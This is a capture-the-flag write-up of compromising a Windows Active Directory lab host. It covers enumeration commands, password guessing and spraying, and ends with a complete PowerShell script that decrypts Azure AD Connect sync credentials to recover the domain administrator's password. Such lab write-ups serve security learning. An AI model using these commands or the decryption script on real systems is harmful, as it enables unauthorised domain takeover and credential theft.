Enumeration:
I began the enumeration process by scanning for open ports and services using rustscan
:
rustscan -a 10.10.10.172 -- -A -T4 -vv -oN mont_nmap
The scan revealed multiple open ports on the target environment:
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-08-27 07:08:20Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=8/27%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=66CD7BC9%P=x86_64-pc-linux-gnu)
SEQ(SP=105%GCD=1%ISR=108%TI=I%II=I%SS=O%TS=U)
SEQ(SP=105%GCD=1%ISR=108%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-08-27T07:09:19
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
From the port scan results, I observed a domain, MEGABANK.LOCAL
, which I added to my hosts configuration file.
Kerbreoas enumeration:
Since port 88 was open and running, I started by finding valid usernames using a common username list and a tool called kerbrute
:
kerbrute userenum --dc MEGABANK.LOCAL -d MEGABANK.LOCAL /usr/share/SecLists/Usernames/cirt-default-usernames.txt
Although this list contained 828 different usernames, it only identified the Administrator user on the target host.
RPC enumeration:
Next, I attempted to enumerate using RPC with NULL authentication. However, this method didn’t work, indicating that NULL authentication is not allowed on this host.
LDAP enumeration:
Moving ahead, since port 389 was open and running, I performed LDAP enumeration using the ldapsearch
tool:
ldapsearch -x -H ldap://MEGABANK.LOCAL -s base namingcontexts
Further enumeration using LDAP search to explore details of the domain controller (DC) yielded a large set of results:
ldapsearch -x -H ldap://MEGABANK.LOCAL -b 'dc=MEGABANK,dc=LOCAL
Since the data was extensive, I used grep to extract relevant information:
ldapsearch -x -H ldap://MEGABANK.LOCAL -b 'dc=MEGABANK,dc=LOCAL' | grep 'sAMAccountName:' #to grep sam account name
ldapsearch -x -H ldap://MEGABANK.LOCAL -b 'dc=MEGABANK,dc=LOCAL' '(ObjectClass=Person)'| grep 'sAMAccountName:' #to grep sam account name from the person object class
ldapsearch -x -H ldap://MEGABANK.LOCAL -b 'dc=MEGABANK,dc=LOCAL' '(ObjectClass=Person)'| grep -i "distinguishedName:" #to grep dustinguish names
With the LDAP search, I found some valid usernames and created a list of these valid users.
SMB enumeration:
Next, I began SMB enumeration using the valid set of accounts collected from LDAP enumeration. I started by checking the password policy with null authentication, using a tool called NetExec
. The results showed that there is no account lockout policy:
nxc smb MEGABANK.LOCAL -u "" -p "" --pass-pol
Since I had valid usernames but not valid passwords, I began searching for valid passwords. Given that there is no account lockout policy, I attempted brute force using a common password list, but this approach didn’t work:
Next, I tried using the username as the password for authentication, which finally worked for one of the accounts. 🙂
Initial access:
With the valid credentials, I attempted to log in using WINRM, but the user did not have permissions for WINRM login. So, I checked the access for SMB file shares and found that the user had access to SMB shares:
I connected to this share using smbclient-ng
and enumerated all the available directories. In the users$
directory, I found an “azure.xml” file, which I downloaded to my local host.
Upon checking the file content, I found a password inside this XML file:
I then sprayed these credentials across the valid usernames and found a correct match:
Using the newly found credentials, I was finally able to log into the target host and retrieve the user flag. 🙂
Root.txt:
To retrieve the root flag, I began looking for ways to escalate my privileges. I checked my current privileges using whoami /all
and noticed that I had a unique privilege: Azure Admins
.
I started researching potential exploits and came across a blog post: Azure AD Connect for RedTeam. This post explains how Azure Admin access can be leveraged to retrieve credentials from the credential manager used for Azure AD Sync.
The blog provided a proof of concept (POC) with a PowerShell script. However, the POC didn’t work as expected. After further research and some hints, I realized it was pointing towards localdb. I modified the script to include a connection string pointing to the localhost. Below is the updated script after the changes:
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = 127.0.0.1; Database = ADSync;Initial Catalog=ADSync;Integrated Security = True;"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
I transferred the modified POC script to the target host and executed it. Shortly after running the script, I successfully retrieved the administrator’s password.
Using these credentials, I logged in as the Administrator and retrieved the root flag. (pwn3d! 🎉)